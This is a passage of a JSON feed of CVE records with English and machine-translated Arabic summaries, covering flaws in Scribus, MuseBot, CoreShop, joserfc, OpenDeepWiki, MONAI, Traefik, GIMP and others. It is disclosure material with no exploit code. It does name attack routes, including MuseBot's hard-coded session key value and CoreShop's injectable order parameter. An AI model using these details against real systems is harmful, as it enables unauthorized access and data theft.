ملحق استيراد SVM"},"summary":{"en":"Scribus before 1.6.7 contains an out-of-bounds memory access vulnerability in the importsvm plugin that fails to verify bitmap and transparency mask dimensions match. Attackers can supply a crafted SVM file with mismatched mask dimensions to trigger heap reads and writes, causing crashes or code execution as the user.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 على ثغرة وصول إلى الذاكرة خارج الحدود في ملحق importsvm الذي يعجز عن التحقق من تطابق أبعاد الصورة النقطية وقناع الشفافية. يمكن للمهاجمين توفير ملف SVM مصمم بأبعاد قناع غير متطابقة لتحفيز عمليات قراءة وكتابة الكومة، مما يسبب أعطالاً أو تنفيذ شيفرة بصلاحيات المستخدم."},"refs":[["https://github.com/scribusproject/scribus/commit/c6aed467680d04e8ae8e0588579b095acdae40ef","patch"],["https://github.com/scribusproject/scribus/commit/5a8f67c4207d6f729f23e4370b5846dadc81e8b4","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-out-of-bounds-memory-access-via-svm-import-plugin","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-104061","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:35Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 Heap Out-of-Bounds Write via PSD Image Loader","ar":"ثغرة كتابة خارج حدود الكومة في Scribus قبل الإصدار 1.6.7 عبر محمل صور PSD"},"summary":{"en":"Scribus before 1.6.7 contains a heap out-of-bounds write vulnerability in the scimgdataloader_psd loader that uses unchecked PSD file values as lookup array indexes. Attackers can convince users to place or import a crafted PSD file to corrupt heap memory, causing crashes and potentially code execution as the user.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 على ثغرة كتابة خارج حدود الكومة في محمل scimgdataloader_psd الذي يستعمل قيم ملف PSD غير المفحوصة كمؤشرات لمصفوفة البحث. يمكن للمهاجمين إقناع المستخدمين بوضع أو استيراد ملف PSD مصمم لإفساد ذاكرة الكومة، مما يسبب أعطالاً وربما تنفيذ شيفرة بصلاحيات المستخدم."},"refs":[["https://github.com/scribusproject/scribus/commit/cca3e4991dd199c103edb4a3bc5351f5cb88d62b","patch"],["https://github.com/scribusproject/scribus/commit/d61e7ac5879a6d9dc23113eff2fe0007f398eadc","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-heap-out-of-bounds-write-via-psd-image-loader","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-119660","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1394","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T15:16:50Z","product":"yincongcyincong MuseBot","affected":[["0 – <2.0.0","2.0.0"]],"title":{"en":"MuseBot before 2.0.0 Authentication Bypass via Hard-Coded Session Key","ar":"ثغرة تجاوز المصادقة في MuseBot قبل الإصدار 2.0.0 عبر مفتاح جلسة مثبت مسبقاً"},"summary":{"en":"MuseBot before 2.0.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin sessions by using the hard-coded default session_key 'muse_bot_session_key'. Attackers can sign a MuseBot-session cookie carrying a user_id to gain full administrative access, reading password hashes, chat records, and bot configuration, and stopping bots.","ar":"يحتوي MuseBot قبل الإصدار 2.0.0 على ثغرة تجاوز المصادقة التي تتيح للمهاجمين الذين ليس لديهم مصادقة تزوير جلسات المسؤول باستخدام مفتاح الجلسة الافتراضي المثبت مسبقاً session_key المتمثل في 'muse_bot_session_key'. يمكن للمهاجمين توقيع ملف تعريف ارتباط لجلسة MuseBot يحمل معرف مستخدم للحصول على صلاحيات إدارية كاملة، وقراءة تجزئات كلمات المرور، وسجلات المحادثة، وإعدادات البوت، وإيقاف الروبوتات."},"refs":[["https://github.com/yincongcyincong/MuseBot/commit/139f6158b50283b983d76976f593a3a09a064681","patch"],["https://github.com/yincongcyincong/MuseBot/commit/3e64518948fe7037058f07ef987d35216c3f0cae","patch"],["https://hackmd.io/@hieuPenguinnn/musebot-admin-default-session-key-auth-bypass","advisory"],["https://www.vulncheck.com/advisories/musebot-before-2.0.0-authentication-bypass-via-hard-coded-session-key","advisory"],["https://github.com/yincongcyincong/MuseBot","ref"],["https://github.com/yincongcyincong/MuseBot/blob/v1.0.42/admin/conf/conf.go#L28","ref"],["https://github.com/yincongcyincong/MuseBot/blob/v1.0.42/admin/controller/login.go#L19-L88","ref"],["https://github.com/yincongcyincong/MuseBot/issues/61","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yincongcyincong-musebot"},{"id":"CVE-2026-119655","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T15:16:49Z","product":"CoreUnion CoreShop","affected":[["0 – 1.5.5",null]],"title":{"en":"CoreShop through 1.5.5 SQL Injection via order Parameter in GetGoodsPageList","ar":"CoreShop حتى الإصدار 1.5.5 يعاني من ثغرة حقن SQL عبر معامل order في وظيفة GetGoodsPageList"},"summary":{"en":"CoreShop through 1.5.5 contains an unauthenticated sql injection vulnerability in the api/Good/GetGoodsPageList endpoint via the unvalidated order parameter appended to ORDER BY. Attackers can inject subqueries that bypass SqlSugar's field check and use boolean-based or time-based blind techniques to extract member accounts and orders.","ar":"يحتوي CoreShop حتى الإصدار 1.5.5 على ثغرة حقن SQL دون مصادقة في نقطة النهاية api/Good/GetGoodsPageList عبر معامل order غير المتحقق منه والمُضاف إلى أمر ORDER BY. يمكن للمهاجمين حقن استعلامات فرعية تتجاوز فحص الحقول الخاص بـ SqlSugar واستخدام تقنيات الاستعلام الأعمى القائمة على منطق معين أو على الوقت لاستخراج حسابات الأعضاء والطلبات."},"refs":[["https://github.com/CoreUnion/CoreShop/commit/0453011fe2a5abc4c202894ed1d9e87b2accc9e4","patch"],["https://hackmd.io/@hieuPenguinnn/coreshop-goods-orderby-sql-injection","advisory"],["https://www.vulncheck.com/advisories/coreshop-through-1.5.5-sql-injection-via-order-parameter-in-getgoodspagelist","advisory"],["https://github.com/CoreUnion/CoreShop","ref"],["https://github.com/CoreUnion/CoreShop/blob/v1.5.5/CoreCms.Net.Repository/BaseRepository.cs#L155-L165","ref"],["https://github.com/CoreUnion/CoreShop/blob/v1.5.5/CoreCms.Net.Web.WebApi/Controllers/GoodController.cs#L233-L241","ref"],["https://github.com/CoreUnion/CoreShop/issues/20","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"coreunion-coreshop"},{"id":"CVE-2026-119656","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T15:16:49Z","product":"CoreUnion CoreShop","affected":[["0 – 1.5.5",null]],"title":{"en":"CoreShop through 1.5.5 SQL Injection via order Parameter in Agent/GetGoodsPageList","ar":"CoreShop حتى الإصدار 1.5.5 يعاني من ثغرة حقن SQL عبر معامل order في وظيفة Agent/GetGoodsPageList"},"summary":{"en":"CoreShop by CoreUnion through 1.5.5 contains an unauthenticated sql injection vulnerability in the api/Agent/GetGoodsPageList endpoint via the order parameter appended to an ORDER BY clause. Anonymous attackers can inject subqueries that bypass SqlSugar's field check to extract member accounts and orders through boolean-based or time-based blind techniques.","ar":"يحتوي CoreShop المقدم من CoreUnion حتى الإصدار 1.5.5 على ثغرة حقن SQL دون مصادقة في نقطة النهاية api/Agent/GetGoodsPageList عبر معامل order المُلصق بجملة ORDER BY. يمكن للمهاجمين مجهولو الهوية حقن استعلامات فرعية تتجاوز فحص الحقول الخاص بـ SqlSugar لاستخراج حسابات الأعضاء والطلبات باستخدام تقنيات الاستعلام الأعمى القائمة على منطق معين أو على الوقت."},"refs":[["https://github.com/CoreUnion/CoreShop/commit/e40085b81d78ea55790305bc4a1592309b294048","patch"],["https://hackmd.io/@hieuPenguinnn/coreshop-goods-orderby-sql-injection","advisory"],["https://www.vulncheck.com/advisories/coreshop-through-1.5.5-sql-injection-via-order-parameter-in-agent-getgoodspagelist","advisory"],["https://github.com/CoreUnion/CoreShop","ref"],["https://github.com/CoreUnion/CoreShop/blob/v1.5.5/CoreCms.Net.Repository/Good/CoreCmsGoodsRepository.cs#L1622-L1730","ref"],["https://github.com/CoreUnion/CoreShop/blob/v1.5.5/CoreCms.Net.Web.WebApi/Controllers/AgentController.cs#L164-L170","ref"],["https://github.com/CoreUnion/CoreShop/issues/20","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"coreunion-coreshop"},{"id":"CVE-2026-104066","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T15:15:59Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 and 1.7.x before 1.7.4 Heap Buffer Overflow via PICT 4-bit Pixel Unpacking","ar":"ثغرة فيضان المخزن المؤقت للكومة (Heap Buffer Overflow) في Scribus قبل الإصدار 1.6.7 و1.7.x قبل الإصدار 1.7.4 عبر فك ضغط وحدات بكسل PICT ذات 4 بتات"},"summary":{"en":"Scribus before 1.6.7 and 1.7.x before 1.7.4 contains a heap buffer overflow vulnerability in the Mac PICT image loader and import plugin when unpacking 4-bit indexed pixel data. Attackers can supply a crafted PICT file with inconsistent width and row data that, when placed or imported, writes out of bounds, causing crashes or code execution.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 و1.7.x قبل الإصدار 1.7.4 على ثغرة فيضان المخزن المؤقت للكومة في أداة تحميل صور Mac PICT والمكون الإضافي للاستيراد عند فك ضغط بيانات البكسل المفهرسة ذات 4 بتات. يمكن للمهاجمين توفير ملف PICT مصمم خصيصًا يحتوي على بيانات عرض وصفوف غير متسقة، والتي عند وضعها أو استيرادها، تكتب خارج الحدود، مما يتسبب في تعطل النظام أو تنفيذ شيفرة."},"refs":[["https://github.com/scribusproject/scribus/commit/d667b3b1d38e1808721315dc976d67b72070f6b4","patch"],["https://github.com/scribusproject/scribus/commit/544a179241362eb254cb69a5cc68ef24388b265f","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-heap-buffer-overflow-via-pict-4-bit-pixel-unpacking","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-104062","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T15:15:56Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 and 1.7.x before 1.7.4 Heap Buffer Overflow via PICT Pixmap Loader","ar":"ثغرة فيضان المخزن المؤقت للكومة (Heap Buffer Overflow) في Scribus قبل الإصدار 1.6.7 و1.7.x قبل الإصدار 1.7.4 عبر أداة تحميل Pixmap لملفات PICT"},"summary":{"en":"Scribus before 1.6.7 and 1.7.x before 1.7.4 contains a heap buffer overflow vulnerability in the PICT image loader and import plugin that allows attackers to corrupt heap memory by supplying an unchecked bytesPerLine value. Attackers can craft a PICT file whose bytesPerLine exceeds the QImage scanline size, so placing or importing it crashes Scribus and may execute code as the user.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 و1.7.x قبل الإصدار 1.7.4 على ثغرة فيضان المخزن المؤقت للكومة في أداة تحميل صور PICT ومكون الاستيراد الإضافي والتي تسمح للمهاجمين بتخريب ذاكرة الكومة من خلال توفير قيمة bytesPerLine غير مُتحقَق منها. يمكن للمهاجمين تصميم ملف PICT تتجاوز فيه قيمة bytesPerLine حجم خط مسح QImage، بحيث يتسبب وضعه أو استيراده في تعطل Scribus وقد ينفذ شيفرة بصلاحيات المستخدم."},"refs":[["https://github.com/scribusproject/scribus/commit/d667b3b1d38e1808721315dc976d67b72070f6b4","patch"],["https://github.com/scribusproject/scribus/commit/544a179241362eb254cb69a5cc68ef24388b265f","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-heap-buffer-overflow-via-pict-pixmap-loader","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-119283","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:54:20Z","product":"joserfc","affected":[["< 1.7.5","1.7.5"]],"title":{"en":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","ar":"joserfc: مصفوفة `recipients` غير المحدودة في JWE General JSON تؤدي إلى استهلاك معالج المركزية (حجب الخدمة) عبر فك تشفير مفتاح RSA الخاص المكرر"},"summary":{"en":"### Summary `joserfc.jwe.decrypt_json()`, the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for **every** recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, `verify_all_recipients=False`, does **not** reduce the CPU cost, since the decrypt loop attempts every recipient's `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High). ### Details `joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs **no validation whatsoever on the number of entries in the `recipients` array** of a JWE General JSON Serialization object. Data flow (source → sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4): 1. `src/joserfc/jwe.py:214` — public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON. 2. `src/joserfc/jwe.py:238` — if `\"recipients\"…","ar":"### الملخص محلل الإعراب العام `joserfc.jwe.decrypt_json()` الخاص بالمكتبة لـ JWE General JSON Serialization يقبل مصفوفة `recipients` ذات طول غير محدود يتحكم بها المهاجم ويقوم بتنفيذ عملية فك تشفير واحدة كاملة باستخدام المفتاح الخاص (`decrypt_cek`) لكل مستلم موجود في المدخلات، دون وجود حد أقصى لعدد المستلمين. يمكن لمهاجم شبكة دون مصادقة يستطيع إرسال مستند JWE General JSON إلى أي نقطة نهاية تقوم بفك تشفيره باستخدام مفتاح RSA (مثل RSA-OAEP) إجبار الضحية على تنفيذ عدد عشوائي يختاره المهاجم من عمليات فك تشفير المفتاح الخاص بـ RSA من خلال طلب HTTP واحد وصغير نسبياً. يمنح هذا المهاجم آلية استهلاك معالج غير متكافئة للغاية (حجب الخدمة): يظهر إعادة الإنتاج المحلي نمو حجم الطلب بشكل خطي مع عدد المستلمين (~396 بايت/مستلم) بينما ينمو وقت المعالجة في جانب الخادم بحد السواء (نسبة قريبة من 1:1 بين نمو عدد المستلمين ونمو وقت فك التشفير)، وخيار التخفيف الوحيد الموثق في المكتبة، وهو `verify_all_recipients=False`، لا يقلل من تكلفة المعالج، حيث تحاول حلقة فك التشفير استدعاء `decrypt_cek()` لكل مستلم دون شرط قبل مراجعة هذا العلم. هذه الثغرة تصنف ضمن CWE-400 (Uncontrolled Resource Consumption) بـ CVSS v3.1 Base Score قدره 7.5 (High). ### التفاصيل تقوم `joserfc` بالتحقق من صحة ووضع حد أقصى للعديد من العناصر الهيكلية لـ JWE (حجم الهيدر المحمي، حجم المفتاح المشفر، حجم IV، حجم النص المشفر، وحجم auth-tag) داخل `src/joserfc/_rfc7516/registry.py`، ولكنها لا تجري أي تحقق على الإطلاق على عدد المدخلات في مصفوفة `recipients` لشيء JWE General JSON Serialization. تدفق البيانات (من المصدر إلى المصب)، تم التحقق منه مباشرة من سورس الموديل في التعهد `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4): 1. `src/joserfc/jwe.py:214` - نقطة دخول المحلل العام `decrypt_json(data, private_key, ...)` وهي API موثقة ودون مصادقة (عند حدود المكتبة) لتحليل JWE JSON المقدمة من الخارج. 2. `src/joserfc/jwe.py:238` - إذا كانت \"recipients\"..."},"refs":[["https://github.com/advisories/GHSA-jpxq-7h8p-2q76","advisory"],["https://github.com/authlib/joserfc/security/advisories/GHSA-jpxq-7h8p-2q76","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119283","ref"],["https://github.com/authlib/joserfc/commit/d6dc8df6c7609277e741069d3733e43996c1cd17","ref"],["https://github.com/authlib/joserfc/releases/tag/1.7.5","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"joserfc"},{"id":"CVE-2026-86715","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-256","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:17:10Z","product":"Crypttech Crypto and Informatics Technologies Industry and… Vatos DLP","affected":[["1.1.176 – <1.1.243","1.1.243"]],"title":{"en":"Clear Text Storage of Password in Crypttech's Vatos DLP","ar":"التخزين بنص صريح لكلمة المرور في منتج Vatos DLP من شركة Crypttech"},"summary":{"en":"Plaintext storage of a password vulnerability in Crypttech Crypto and Informatics Technologies Industry and Trade Inc. Vatos DLP allows Use of Known Domain Credentials. This issue affects Vatos DLP: from 1.1.176 before 1.1.243.","ar":"تتيح ثغرة تخزين كلمات المرور بنص صريح في منتج Vatos DLP التابع لشركة Crypttech Crypto and Informatics Technologies Industry and Trade Inc. استخدام بيانات اعتماد النطاق المعروفة. تؤثر هذه المشكلة على إصدارات Vatos DLP من 1.1.176 وحتى ما قبل 1.1.243."},"refs":[["https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1432","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"crypttech-crypto-and-informatics-technologies-industry-and-v"},{"id":"CVE-2026-91913","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T14:17:10Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل). يمكن لمهاجم منخفض الصلاحيات يتمتع بصلاحية وصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تنفيذ أوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0265,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-119597","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-321","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:16:47Z","product":"AIDotNet OpenDeepWiki","affected":[["0 – 2.0.6",null]],"title":{"en":"OpenDeepWiki through 2.0.6 Hard-coded JWT Signing Key Admin Token Forgery","ar":"OpenDeepWiki حتى الإصدار 2.0.6 يحتوي على مفتاح توقيع JWT مدمج يؤدي إلى تزييف رمز المسؤول"},"summary":{"en":"OpenDeepWiki through 2.0.6 contains a hard-coded JWT signing key vulnerability that allows unauthenticated attackers to forge administrator tokens using the publicly known Jwt:SecretKey in appsettings.json. Attackers can mint HS256 bearer tokens with an Admin role claim to access /api/admin endpoints and control users, roles, repositories, settings, and API keys.","ar":"يحتوي OpenDeepWiki حتى الإصدار 2.0.6 على ثغرة مفتاح توقيع JWT مدمج مسبقاً، مما يسمح للمهاجمين دون مصادقة بتزييف رموز المسؤول باستخدام مفتاح Jwt:SecretKey المعروف علناً في ملف appsettings.json. يمكن للمهاجمين صك رموز حاملة (Bearer tokens) بصيغة HS256 مع مطالبة بدور المسؤول (Admin) للوصول إلى نقاط النهاية /api/admin والتحكم في المستخدمين والأدوار والمستودعات والإعدادات ومفاتيح API."},"refs":[["https://github.com/AIDotNet/OpenDeepWiki/commit/1bf0f4b5ef8d972ca640e5df145b5813a9492544","patch"],["https://hackmd.io/@hieuPenguinnn/opendeepwiki-hardcoded-jwt-secret-admin-forgery","advisory"],["https://www.vulncheck.com/advisories/opendeepwiki-through-2.0.6-hard-coded-jwt-signing-key-admin-token-forgery","advisory"],["https://github.com/AIDotNet/OpenDeepWiki","ref"],["https://github.com/AIDotNet/OpenDeepWiki/blob/v2.0.6/src/OpenDeepWiki/Program.cs#L92","ref"],["https://github.com/AIDotNet/OpenDeepWiki/blob/v2.0.6/src/OpenDeepWiki/appsettings.json#L27","ref"],["https://github.com/AIDotNet/OpenDeepWiki/issues/403","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aidotnet-opendeepwiki"},{"id":"CVE-2026-119578","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-470","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:16:47Z","product":"Project-MONAI MONAI","affected":[["1.6.0 – <1.6.1","1.6.1"]],"title":{"en":"MONAI 1.6.0 before 1.6.1 Code Execution via Auto3DSeg algo_from_json()","ar":"MONAI من الإصدار 1.6.0 قبل 1.6.1 معرض لتنفيذ أوامر عن بُعد عبر وظيفة algo_from_json() في Auto3DSeg"},"summary":{"en":"MONAI from 1.6.0 before 1.6.1 contains a remote code execution vulnerability in Auto3DSeg algo_from_json() that allows attackers to run Python code via a crafted work directory's algo_object.json. Attackers can ship a malicious algorithm_templates module plus a _target_ name that is imported and instantiated when victims call AutoRunner or import_bundle_algo_history, executing code under default configuration.","ar":"يحتوي MONAI من الإصدار 1.6.0 قبل الإصدار 1.6.1 على ثغرة تنفيذ أوامر عن بُعد في وظيفة Auto3DSeg algo_from_json() تسمح للمهاجمين بتشغيل شيفرة بلغة Python عبر ملف algo_object.json ضمن مجلد عمل مصمم خصيصاً. يمكن للمهاجمين شحن وحدة حزمة خبيثة للوارث algorithm_templates مع اسم _target_ يتم استيراده وتنشيطه عندما يقوم الضحايا باستدعاء AutoRunner أو import_bundle_algo_history، مما يؤدي إلى تنفيذ الشيفرة تحت الإعدادات الافتراضية."},"refs":[["https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-2wx3-8x3w-r8qv","advisory"],["https://www.vulncheck.com/advisories/monai-1.6.0-before-1.6.1-code-execution-via-auto3dseg-algo-from-json","advisory"]],"epss":0.0055,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"project-monai-monai"},{"id":"CVE-2026-119572","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-287","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:16:46Z","product":"traefik traefik","affected":[["3.7.0-ea.1 – <3.7.15","3.7.15"]],"title":{"en":"Traefik 3.7.0-ea.1 before 3.7.15 mTLS Bypass via Ingress NGINX Provider","ar":"Traefik من الإصدار 3.7.0-ea.1 قبل 3.7.15 يعاني من تجاوز مصادقة mTLS عبر موفر Ingress NGINX"},"summary":{"en":"Traefik from 3.7.0-ea.1 before 3.7.15 contains an authentication bypass vulnerability in the Kubernetes Ingress NGINX provider that silently disables mTLS configured via the auth-tls-secret annotation. When another Ingress declares a path on the same host without matching auth-tls settings, Traefik falls back to default TLS options, letting unauthenticated attackers reach backends requiring client certificates.","ar":"يحتوي Traefik من الإصدار 3.7.0-ea.1 قبل الإصدار 3.7.15 على ثغرة تجاوز للمصادقة في موفر Kubernetes Ingress NGINX والتي تعطل صامتاً مصادقة mTLS المُكوّنة عبر الوسم (annotation) auth-tls-secret. عندما يعلن Ingress آخر عن مسار على نفس المضيف دون مطابقة إعدادات auth-tls، يعود Traefik إلى خيارات TLS الافتراضية، مما يسمح للمهاجمين دون مصادقة بالوصول إلى الواجهات الخلفية التي تتطلب شهادات العميل."},"refs":[["https://github.com/traefik/traefik/security/advisories/GHSA-p8wx-ph99-xgcr","advisory"],["https://www.vulncheck.com/advisories/traefik-3.7.0-ea.1-before-3.7.15-mtls-bypass-via-ingress-nginx-provider","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"traefik"},{"id":"CVE-2026-119528","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T14:16:45Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[],"title":{"en":"Gimp: gimp: stack buffer overflow in psd image resource header loader","ar":"مكتبة Gimp: فيضان مخزن مكدس مؤقت في محمل ترويسة مورد صور PSD"},"summary":{"en":"A flaw was found in GIMP. The PSD plug-in’s image resource header loader uses an incorrect destination size when copying a converted resource name into a fixed stack buffer. Opening a crafted PSD file can cause a stack-based buffer overflow, leading to a crash and potentially arbitrary code execution.","ar":"تم اكتشاف خلل في GIMP. يستخدم محمل ترويسة مورد الصور في المكون الإضافي PSD حجم وجهة غير صحيح عند نسخ اسم مورد مُحوَّل إلى مخزن مكدس مؤقت ثابت. قد يؤدي فتح ملف PSD مصمم خصيصاً إلى حدوث فيضان للمخزن المؤقت للمكدس، مما يسبب تعطلاً وربما تنفيذ شيفرة عشوائية."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-119528","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2563900","ref"],["https://gitlab.gnome.org/GNOME/gimp/-/work_items/16799","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-112347","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T14:16:37Z","product":"Themeum Kirki","affected":[["0 – <6.4.1","6.4.1"]],"title":{"en":"Kirki WordPress Plugin < 6.4.1 Broken Object-Level Access Control via Page API","ar":"إضافة Kirki لووردبريس قبل الإصدار 6.4.1 تحتوي على تحكم معطوب في الوصول على مستوى الكائن عبر واجهة Page API"},"summary":{"en":"Kirki plugin for WordPress before 6.4.1 contains a broken object-level access control vulnerability in its page REST API, where the PUT /wp-json/kirki/v1/pages/{page_id} route and the save_page_data, duplicate, and delete handlers in PageController.php rely only on a coarse role-to-access middleware check without performing a per-object WordPress capability check. A user with Kirki edit access, granted to the Editor role by default, can exploit this flaw to modify the 